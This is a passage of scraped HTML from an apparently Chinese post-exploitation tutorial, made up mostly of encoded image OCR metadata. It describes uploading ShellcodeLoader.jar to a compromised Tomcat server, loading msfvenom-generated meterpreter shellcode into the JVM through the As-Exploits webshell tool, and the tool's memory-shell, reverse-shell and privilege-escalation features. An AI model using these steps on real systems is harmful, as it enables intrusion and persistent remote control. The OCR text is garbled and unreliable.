3A49.083740000000034%2C%22height%22%3A13.45763999999997%2C%22text%22%3A%22%E6%9D%83%E9%99%90%E9%A6%99%E8%BE%BE%22%7D%5D%2C%22id%22%3A%22MyyDb%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="339px" data-ratio="0.5172413793103449" title="image.png" data-type="png" data-w="928" style="visibility: visible;width: 656px;" src="https://wechat2rss.xlab.app/img-proxy/?k=815db1ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacIicBAjU5uXC3tgsibiaicXPUKUCp7kpoMNmaoh1rQVicI3gtW9BPqjwcL5w%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="d44f18b8713670e1ee9171b99e3295f6" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">上传插件ext目录下的ShellcodeLoader.jar到目标服务器，然后复制文件路径</p><p data-lake-id="67c801438764ffbc6eb090a54dfddf8b" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621067128068-3e3004d7-9cf1-4997-b352-c06e2cbd8d1b.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A566%2C%22height%22%3A319%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A80079%2C%22originWidth%22%3A1132%2C%22originHeight%22%3A637%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22d%20%E7%BC%96%E8%BE%91%20%E8%82%B2%E5%8F%A3%E8%B0%83%E8%AF%95%20C192.168.88.141%20%E6%96%87%E4%BB%B6%E5%88%97%E8%A1%A8(4)%20%E5%88%98%E8%A1%A8(2)%20%E4%B8%BB%E7%9B%AE%E5%BD%95%20%E5%88%B7%E6%96%B0%20%E4%B8%8A%E5%B1%82%20%E4%B9%A6%E7%AD%BE%20%E6%96%B0%E5%BB%BA%20%3A%20c%3Alenvlapache-tomcat-8.5.57-windows-x6%2Fapache-tom%20env%20%E5%90%8D%E7%A7%B0%20apache-tomcat-8.5.57-windor%20jina--1807319588%20apache-tomcat-8.5.57%20nativelib-loader2472453829266034772%20bin%20ShellcodeLoader.jar%20conf%20%E5%88%B7%E6%96%B0%E7%9B%AE%E5%BD%95472169.tmp%20imaqeio%20lib%20logs%20WGET%E4%B8%8B%E8%BD%BD%20%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6%20rasp%20%E4%B8%8B%E8%BD%BD%E6%96%87%E4%BB%B6%20temp%20jna--1807319588%20%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6%20%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6%20nativelib-loader.247%20%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6%E5%90%8D%20%E7%B2%98%E8%B4%B4%E6%96%87%E4%BB%B6%20webapps%20%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%20%E9%A2%84%E8%A7%88%E6%96%87%E4%BB%B6%20work%20%E7%BC%96%E8%BE%91%E6%96%87%E4%BB%B6%20%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%20A%E9%87%8D%E5%91%BD%E5%90%8D%E6%96%87%E4%BB%B6%20%E8%A5%BF%E4%BB%B7%E5%A5%B3%E4%BB%B6%E6%97%B6%E5%95%86%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A2.145205%2C%22y%22%3A21.110533%2C%22width%22%3A13.3970685%2C%22height%22%3A13.3970685%2C%22text%22%3A%22d%22%7D%2C%7B%22x%22%3A28.258224%2C%22y%22%3A22.425396%2C%22width%22%3A31.661728000000004%2C%22height%22%3A14.942982%2C%22text%22%3A%22%E7%BC%96%E8%BE%91%22%7D%2C%7B%22x%22%3A74.76598%2C%22y%22%3A21.785294%2C%22width%22%3A75.01974%2C%22height%22%3A16.636501000000003%2C%22text%22%3A%22%E8%82%B2%E5%8F%A3%E8%B0%83%E8%AF%95%22%7D%2C%7B%22x%22%3A34.9309%2C%22y%22%3A53.9546%2C%22width%22%3A139.54853%2C%22height%22%3A13.404610000000005%2C%22text%22%3A%22C192.168.88.141%22%7D%2C%7B%22x%22%3A277.27283%2C%22y%22%3A87.99152%2C%22width%22%3A94.41751%2C%22height%22%3A18.08104%2C%22text%22%3A%22%E6%96%87%E4%BB%B6%E5%88%97%E8%A1%A8(4)%22%7D%2C%7B%22x%22%3A1.435373%2C%22y%22%3A88.45254%2C%22width%22%3A50.87163%2C%22height%22%3A17.535979999999995%2C%22text%22%3A%22%E5%88%98%E8%A1%A8(2)%22%7D%2C%7B%22x%22%3A552.44806%2C%22y%22%3A123.834564%2C%22width%22%3A46.57488999999998%2C%22height%22%3A16.81977599999999%2C%22text%22%3A%22%E4%B8%BB%E7%9B%AE%E5%BD%95%22%7D%2C%7B%22x%22%3A456.89346%2C%22y%22%3A123.87845%2C%22width%22%3A45.29626999999999%2C%22height%22%3A17.076000000000008%2C%22text%22%3A%22%E5%88%B7%E6%96%B0%22%7D%2C%7B%22x%22%3A391.0697%2C%22y%22%3A124.705696%2C%22width%22%3A29.306699999999978%2C%22height%22%3A15.867153999999985%2C%22text%22%3A%22%E4%B8%8A%E5%B1%82%22%7D%2C%7B%22x%22%3A648.2743%2C%22y%22%3A124.83222%2C%22width%22%3A31.210399999999936%2C%22height%22%3A16.08883%2C%22text%22%3A%22%E4%B9%A6%E7%AD%BE%22%7D%2C%7B%22x%22%3A288.49246%2C%22y%22%3A125.3347%2C%22width%22%3A32.708439999999996%2C%22height%22%3A15.776450000000011%2C%22text%22%3A%22%E6%96%B0%E5%BB%BA%22%7D%2C%7B%22x%22%3A0.4971165%2C%22y%22%3A126.11811%2C%22width%22%3A22.694577499999998%2C%22height%22%3A21.331760000000003%2C%22text%22%3A%22%3A%22%7D%2C%7B%22x%22%3A730.9946%2C%22y%22%3A126.94454%2C%22width%22%3A378.3484000000001%2C%22height%22%3A18.389509999999987%2C%22text%22%3A%22c%3Alenvlapache-tomcat-8.5.57-windows-x6%2Fapache-tom%22%7D%2C%7B%22x%22%3A12.05075%2C%22y%22%3A158.60037%2C%22width%22%3A31.75927%2C%22height%22%3A13.795289999999994%2C%22text%22%3A%22env%22%7D%2C%7B%22x%22%3A322.08606%2C%22y%22%3A166.48726%2C%22width%22%3A33.66364000000004%2C%22height%22%3A17.44649000000001%2C%22text%22%3A%22%E5%90%8D%E7%A7%B0%22%7D%2C%7B%22x%22%3A36.785423%2C%22y%22%3A187.64552%2C%22width%22%3A214.781677%2C%22height%22%3A17.05193%2C%22text%22%3A%22apache-tomcat-8.5.57-windor%22%7D%2C%7B%22x%22%3A310.39517%2C%22y%22%3A201.65038%2C%22width%22%3A126.33373%2C%22height%22%3A16.675989999999985%2C%22text%22%3A%22jina--1807319588%22%7D%2C%7B%22x%22%3A61.639923%2C%22y%22%3A217.96173%2C%22width%22%3A160.437727%2C%22height%22%3A16.98567%2C%22text%22%3A%22apache-tomcat-8.5.57%22%7D%2C%7B%22x%22%3A311.63428%2C%22y%22%3A235.06993%2C%22width%22%3A289.78405%2C%22height%22%3A16.302429999999987%2C%22text%22%3A%22nativelib-loader2472453829266034772%22%7D%2C%7B%22x%22%3A85.82589%2C%22y%22%3A248.02603%2C%22width%22%3A20.203999999999994%2C%22height%22%3A14.524370000000033%2C%22text%22%3A%22bin%22%7D%2C%7B%22x%22%3A311.93695%2C%22y%22%3A266.98593%2C%22width%22%3A143.43455%2C%22height%22%3A18.162770000000023%2C%22text%22%3A%22ShellcodeLoader.jar%22%7D%2C%7B%22x%22%3A85.41326%2C%22y%22%3A278.1111%2C%22width%22%3A33.15163600000001%2C%22height%22%3A14.762299999999982%2C%22text%22%3A%22conf%22%7D%2C%7B%22x%22%3A412.32245%2C%22y%22%3A298.72614%2C%22width%22%3A160.05749000000003%2C%22height%22%3A18.87639999999999%2C%22text%22%3A%22%E5%88%B7%E6%96%B0%E7%9B%AE%E5%BD%95472169.tmp%22%7D%2C%7B%22x%22%3A310.81735%2C%22y%22%3A302.07385%2C%22width%22%3A64.81800000000004%2C%22height%22%3A14.671719999999993%2C%22text%22%3A%22imaqeio%22%7D%2C%7B%22x%22%3A86.0433%2C%22y%22%3A307.18985%2C%22width%22%3A19.16261%2C%22height%22%3A16.46613000000002%2C%22text%22%3A%22lib%22%7D%2C%7B%22x%22%3A85.06876%2C%22y%22%3A337.04324%2C%22width%22%3A30.874966%2C%22height%22%3A18.223119999999994%2C%22text%22%3A%22logs%22%7D%2C%7B%22x%22%3A414.86682%2C%22y%22%3A340.92737%2C%22width%22%3A83.79721%2C%22height%22%3A18.927369999999996%2C%22text%22%3A%22WGET%E4%B8%8B%E8%BD%BD%22%7D%2C%7B%22x%22%3A390.3478%2C%22y%22%3A367.26428%2C%22width%22%3A90.69319999999999%2C%22height%22%3A21.262969999999996%2C%22text%22%3A%22%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A86.04494%2C%22y%22%3A370.2479%2C%22width%22%3A31.042264000000003%2C%22height%22%3A13.869529999999997%2C%22text%22%3A%22rasp%22%7D%2C%7B%22x%22%3A416.2608%2C%22y%22%3A397.41278%2C%22width%22%3A64.02515%2C%22height%22%3A18.496339999999975%2C%22text%22%3A%22%E4%B8%8B%E8%BD%BD%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A85.06242%2C%22y%22%3A398.95847%2C%22width%22%3A39.26146%2C%22height%22%3A15.518979999999999%2C%22text%22%3A%22temp%22%7D%2C%7B%22x%22%3A105.66802%2C%22y%22%3A426.97427%2C%22width%22%3A126.99594%2C%22height%22%3A17.053380000000004%2C%22text%22%3A%22jna--1807319588%22%7D%2C%7B%22x%22%3A411.98096%2C%22y%22%3A440.42215%2C%22width%22%3A68.5093%2C%22height%22%3A18.31143000000003%2C%22text%22%3A%22%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A614.3161%2C%22y%22%3A440.68314%2C%22width%22%3A67.75800000000004%2C%22height%22%3A19.15586000000002%2C%22text%22%3A%22%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A107.303246%2C%22y%22%3A457.35596%2C%22width%22%3A144.273854%2C%22height%22%3A17.065339999999992%2C%22text%22%3A%22nativelib-loader.247%22%7D%2C%7B%22x%22%3A614.68835%2C%22y%22%3A469.9874%2C%22width%22%3A81.21325000000002%2C%22height%22%3A18.171780000000012%2C%22text%22%3A%22%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6%E5%90%8D%22%7D%2C%7B%22x%22%3A415.27023%2C%22y%22%3A470.12152%2C%22width%22%3A64.35756999999995%2C%22height%22%3A17.360810000000015%2C%22text%22%3A%22%E7%B2%98%E8%B4%B4%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A83.21763%2C%22y%22%3A487.92783%2C%22width%22%3A66.36097%2C%22height%22%3A15.929740000000038%2C%22text%22%3A%22webapps%22%7D%2C%7B%22x%22%3A614.1506%2C%22y%22%3A498.39603%2C%22width%22%3A98.56454999999994%2C%22height%22%3A18.68080999999995%2C%22text%22%3A%22%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%22%7D%2C%7B%22x%22%3A415.25443%2C%22y%22%3A500.19043%2C%22width%22%3A65.06453999999997%2C%22height%22%3A17.487910000000056%2C%22text%22%3A%22%E9%A2%84%E8%A7%88%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A84.034546%2C%22y%22%3A519.27216%2C%22width%22%3A38.295638999999994%2C%22height%22%3A14.459770000000049%2C%22text%22%3A%22work%22%7D%2C%7B%22x%22%3A413.702%2C%22y%22%3A541.25543%2C%22width%22%3A66.01780000000002%2C%22height%22%3A18.8054699999999%2C%22text%22%3A%22%E7%BC%96%E8%BE%91%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A412.52576%2C%22y%22%3A570.7465%2C%22width%22%3A68.20492000000002%2C%22height%22%3A19.126800000000003%2C%22text%22%3A%22%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A393.22873%2C%22y%22%3A598.2775%2C%22width%22%3A105.20920000000001%2C%22height%22%3A20.896499999999946%2C%22text%22%3A%22A%E9%87%8D%E5%91%BD%E5%90%8D%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A390.94983%2C%22y%22%3A626.3452%2C%22width%22%3A121.62646999999993%2C%22height%22%3A11.819349999999986%2C%22text%22%3A%22%E8%A5%BF%E4%BB%B7%E5%A5%B3%E4%BB%B6%E6%97%B6%E5%95%86%22%7D%5D%2C%22id%22%3A%22FoQml%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="319px" data-ratio="0.5627208480565371" title="image.png" data-type="png" data-w="1132" style="visibility: visible;width: 566px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a95dbffe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacLcf6A1h0DqsN8ZB0RjriaHDgNH1RWvic7fOXOelkD5q4ic4RCrGKQ836Q%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="879525d81c83f7e3b8109265cd461fb0" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">手动加载到JVM中</p><p data-lake-id="fe74f3f565afe40ce3fa6894dd68c877" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621067132501-eb56f724-4191-4014-b940-acc602519116.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A533.5%2C%22height%22%3A255%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A35934%2C%22originWidth%22%3A1067%2C%22originHeight%22%3A510%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22As-Exploits192.168.88.141jpByzdM6%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20ShelICode%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E5%8F%8D%E5%BC%B9Shell%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20%E5%86%85%E5%AD%98%E9%A9%AC%20exploit%20%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD%20%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%20%E9%80%89%E6%8B%A9%E6%96%87%E4%BB%B6%20%E6%89%8B%E5%8A%A8%E4%B8%8A%E4%BC%A0%20%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%20c%3Alenylapache-tomcat-8.5.57-widwx%2Fchtomca8..%2F%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%201success!%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A36.90217%2C%22y%22%3A4.4734654%2C%22width%22%3A336.58373%2C%22height%22%3A15.971747599999999%2C%22text%22%3A%22As-Exploits192.168.88.141jpByzdM6%22%7D%2C%7B%22x%22%3A27.583467%2C%22y%22%3A37.647495%2C%22width%22%3A60.556163%2C%22height%22%3A17.313525%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A781.0252%2C%22y%22%3A37.75321%2C%22width%22%3A112.38459999999998%2C%22height%22%3A16.75248%2C%22text%22%3A%22ShelICode%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A458.22867%2C%22y%22%3A37.737873%2C%22width%22%3A61.81342999999998%2C%22height%22%3A16.862997%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A564.0834%2C%22y%22%3A38.02205%2C%22width%22%3A62.40035999999998%2C%22height%22%3A16.529089999999997%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A337.55447%2C%22y%22%3A38.413883%2C%22width%22%3A76.94599%2C%22height%22%3A16.910904000000002%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A940.268%2C%22y%22%3A38.17978%2C%22width%22%3A72.86919999999998%2C%22height%22%3A17.4073%2C%22text%22%3A%22Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A135.19676%2C%22y%22%3A38.481533%2C%22width%22%3A62.901399999999995%2C%22height%22%3A15.903457000000003%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shell%22%7D%2C%7B%22x%22%3A671.42694%2C%22y%22%3A38.373924%2C%22width%22%3A60.92590000000007%2C%22height%22%3A15.985320999999999%2C%22text%22%3A%22%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%22%7D%2C%7B%22x%22%3A245.89113%2C%22y%22%3A38.648567%2C%22width%22%3A46.506639999999976%2C%22height%22%3A16.633868999999997%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%22%7D%2C%7B%22x%22%3A28.620659%2C%22y%22%3A82.821175%2C%22width%22%3A46.490460999999996%2C%22height%22%3A13.188935%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A40.60212%2C%22y%22%3A124.68613%2C%22width%22%3A61.70773%2C%22height%22%3A17.113899999999987%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD%22%7D%2C%7B%22x%22%3A34.960793%2C%22y%22%3A162.56107%2C%22width%22%3A90.45818700000001%2C%22height%22%3A16.83796000000001%2C%22text%22%3A%22%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%22%7D%2C%7B%22x%22%3A62.791824%2C%22y%22%3A208.09843%2C%22width%22%3A60.526576%2C%22height%22%3A16.72148999999999%2C%22text%22%3A%22%E9%80%89%E6%8B%A9%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A40.378483%2C%22y%22%3A253.26558%2C%22width%22%3A60.423486999999994%2C%22height%22%3A17.308119999999974%2C%22text%22%3A%22%E6%89%8B%E5%8A%A8%E4%B8%8A%E4%BC%A0%22%7D%2C%7B%22x%22%3A34.43205%2C%22y%22%3A290.95743%2C%22width%22%3A89.78435999999999%2C%22height%22%3A16.509150000000034%2C%22text%22%3A%22%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%22%7D%2C%7B%22x%22%3A138.68253%2C%22y%22%3A293.68182%2C%22width%22%3A488.96857%2C%22height%22%3A16.732429999999965%2C%22text%22%3A%22c%3Alenylapache-tomcat-8.5.57-widwx%2Fchtomca8..%2F%22%7D%2C%7B%22x%22%3A17.698181%2C%22y%22%3A441.60178%2C%22width%22%3A59.63892899999999%2C%22height%22%3A16.847620000000006%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A33.507607%2C%22y%22%3A473.10977%2C%22width%22%3A107.14727299999998%2C%22height%22%3A17.498959999999954%2C%22text%22%3A%221success!%22%7D%5D%2C%22id%22%3A%22Ju6UG%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="255px" data-ratio="0.47797563261480785" title="image.png" data-type="png" data-w="1067" style="visibility: visible;width: 533.5px;" src="https://wechat2rss.xlab.app/img-proxy/?k=911fe820&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacYvOXoSSpbEf5Wszf7oSgEkjNibc3hibOMyJBfnib3jmCnkWhmlNdkibHAA%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="ba253c2be81c637a94ca5744cfb0430c" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">MSF生成Shellcode</p><p data-lake-id="11fbafbc53b1c26a366f24928d60feab" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621067117069-28df9a49-30b4-4178-9228-51a948f0e854.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A844.5%2C%22height%22%3A241%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A413431%2C%22originWidth%22%3A1689%2C%22originHeight%22%3A481%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22(rootakali)-%5B~%5D%208888PrependMigratetruePrependMigrateProc-schostexefhex%20msfvenomPwindowS%2FmetepeteveehttsL%20MPLAtIomSeLecM%20%5B-%5DNoarchselected%2Cselectingarch%3Ax6fromtheayod%20Noencoderspecifieduputinga%20Payloadsize%3A921bytes%20Finalsizeofhexfile%3A1842bytes%20%20%20%2035818158%20%20%E5%BF%83%E5%BF%83%E5%BF%83%E5%BF%83%E5%9C%B0%20%20%20%20%20%E5%93%81%E5%9C%B055%20%202e31323900bbfob5a2566a0053ffd5%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A49.42914%2C%22y%22%3A8.150893%2C%22width%22%3A160.67694%2C%22height%22%3A22.80524%2C%22text%22%3A%22(rootakali)-%5B~%5D%22%7D%2C%7B%22x%22%3A864.88727%2C%22y%22%3A31.578896%2C%22width%22%3A682.24803%2C%22height%22%3A22.186027000000003%2C%22text%22%3A%228888PrependMigratetruePrependMigrateProc-schostexefhex%22%7D%2C%7B%22x%22%3A43.339523%2C%22y%22%3A34.33251%2C%22width%22%3A880.942677%2C%22height%22%3A19.905%2C%22text%22%3A%22msfvenomPwindowS%2FmetepeteveehttsL%22%7D%2C%7B%22x%22%3A10.783413%2C%22y%22%3A54.693375%2C%22width%22%3A946.514187%2C%22height%22%3A25.270825000000002%2C%22text%22%3A%22MPLAtIomSeLecM%22%7D%2C%7B%22x%22%3A7.367497%2C%22y%22%3A76.53398%2C%22width%22%3A646.1314030000001%2C%22height%22%3A23.09514%2C%22text%22%3A%22%5B-%5DNoarchselected%2Cselectingarch%3Ax6fromtheayod%22%7D%2C%7B%22x%22%3A5.956923%2C%22y%22%3A102.98046%2C%22width%22%3A490.446827%2C%22height%22%3A19.34969000000001%2C%22text%22%3A%22Noencoderspecifieduputinga%22%7D%2C%7B%22x%22%3A8.073259%2C%22y%22%3A127.56789%2C%22width%22%3A255.94908099999998%2C%22height%22%3A18.320859999999982%2C%22text%22%3A%22Payloadsize%3A921bytes%22%7D%2C%7B%22x%22%3A7.4736457%2C%22y%22%3A147.46309%2C%22width%22%3A394.30632429999997%2C%22height%22%3A21.388930000000016%2C%22text%22%3A%22Finalsizeofhexfile%3A1842bytes%22%7D%2C%7B%22x%22%3A7.698294%2C%22y%22%3A165.68059%2C%22width%22%3A1665.590506%2C%22height%22%3A27.149930000000012%2C%22text%22%3A%22%22%7D%2C%7B%22x%22%3A8.552965%2C%22y%22%3A194.46397%2C%22width%22%3A1663.476535%2C%22height%22%3A20.528080000000017%2C%22text%22%3A%22%22%7D%2C%7B%22x%22%3A8.483047%2C%22y%22%3A217.5978%2C%22width%22%3A1664.159953%2C%22height%22%3A20.67919999999998%2C%22text%22%3A%22%22%7D%2C%7B%22x%22%3A8.425969%2C%22y%22%3A237.81693%2C%22width%22%3A1664.644831%2C%22height%22%3A22.812309999999968%2C%22text%22%3A%2235818158%22%7D%2C%7B%22x%22%3A7.828435%2C%22y%22%3A264.39603%2C%22width%22%3A1664.153765%2C%22height%22%3A17.878570000000025%2C%22text%22%3A%22%22%7D%2C%7B%22x%22%3A8.516053%2C%22y%22%3A285.00003%2C%22width%22%3A1664.028147%2C%22height%22%3A22.565170000000023%2C%22text%22%3A%22%E5%BF%83%E5%BF%83%E5%BF%83%E5%BF%83%E5%9C%B0%22%7D%2C%7B%22x%22%3A9.1118145%2C%22y%22%3A310.09146%2C%22width%22%3A1663.4136855%2C%22height%22%3A19.13614000000001%2C%22text%22%3A%22%22%7D%2C%7B%22x%22%3A9.561654%2C%22y%22%3A331.625%2C%22width%22%3A1662.024146%2C%22height%22%3A20.309540000000027%2C%22text%22%3A%22%22%7D%2C%7B%22x%22%3A8.638322%2C%22y%22%3A354.99158%2C%22width%22%3A1663.448578%2C%22height%22%3A21.155669999999986%2C%22text%22%3A%22%22%7D%2C%7B%22x%22%3A8.111042%2C%22y%22%3A379.7859%2C%22width%22%3A1662.385558%2C%22height%22%3A19.702049999999986%2C%22text%22%3A%22%22%7D%2C%7B%22x%22%3A7.940822%2C%22y%22%3A401.7065%2C%22width%22%3A1664.712778%2C%22height%22%3A19.392299999999977%2C%22text%22%3A%22%E5%93%81%E5%9C%B055%22%7D%2C%7B%22x%22%3A6.648073%2C%22y%22%3A425.11807%2C%22width%22%3A1665.741527%2C%22height%22%3A18.534089999999992%2C%22text%22%3A%22%22%7D%2C%7B%22x%22%3A7.9084296%2C%22y%22%3A447.46445%2C%22width%22%3A332.9822904%2C%22height%22%3A19.619550000000004%2C%22text%22%3A%222e31323900bbfob5a2566a0053ffd5%22%7D%5D%2C%22id%22%3A%22eFvY1%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="241px" data-ratio="0.2847838957963292" title="image.png" data-type="png" data-w="1689" style="visibility: visible;width: 844.5px;" src="https://wechat2rss.xlab.app/img-proxy/?k=96391189&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacthkq2PO9hfS2PUKKhz8tXsUcASAZSa9W9mnia98e9zjIayGGxKwgmmA%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="c6c3985bda71577818d6c8be9ddb9c8c" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">选择JNA方式，exploit!</p><p data-lake-id="f57589f98fb375fa6622b9f93ea1f915" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621067139961-3e021c58-560c-4283-b7d9-5379fffb27ed.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A523%2C%22height%22%3A237%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A109781%2C%22originWidth%22%3A1046%2C%22originHeight%22%3A473%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22As-Exploits192.168.88.141jyM%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20ShellCode%E5%8A%A0%E8%BD%BD%E5%99%A8%20Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E5%86%85%E5%AD%98%E9%A9%AC%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20%E5%8F%8D%E5%BC%B9Shell%20%E5%8A%A0%E8%BD%BD%E6%96%B9%E5%BC%8F%20exploit%20e8B8938%20168430097870818838%207018370475938059749106885810%2086e65708637769609461%20B888535868589F556%203566320061376F8588001889998989105964e53760%2051569686778815900708097473F9108080000888t1735408%204145BGeL%3A83890899948916779480975996739348499%206039069104843491038890597375373936408535746764968896659986%20170817896663204594509992080%2060947133799328724T699539374515528887888%202298732080300819987610387c%200812473993697903895060905797897988869080828662633989618%201404334T23%E4%B8%ADBBLE98%207L937746800376414179673989963845393378970088035656%2030868801888088084807684309708801095157975768883566298F%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A36.405594%2C%22y%22%3A7.8641644%2C%22width%22%3A336.84342599999997%2C%22height%22%3A17.4610176%2C%22text%22%3A%22As-Exploits192.168.8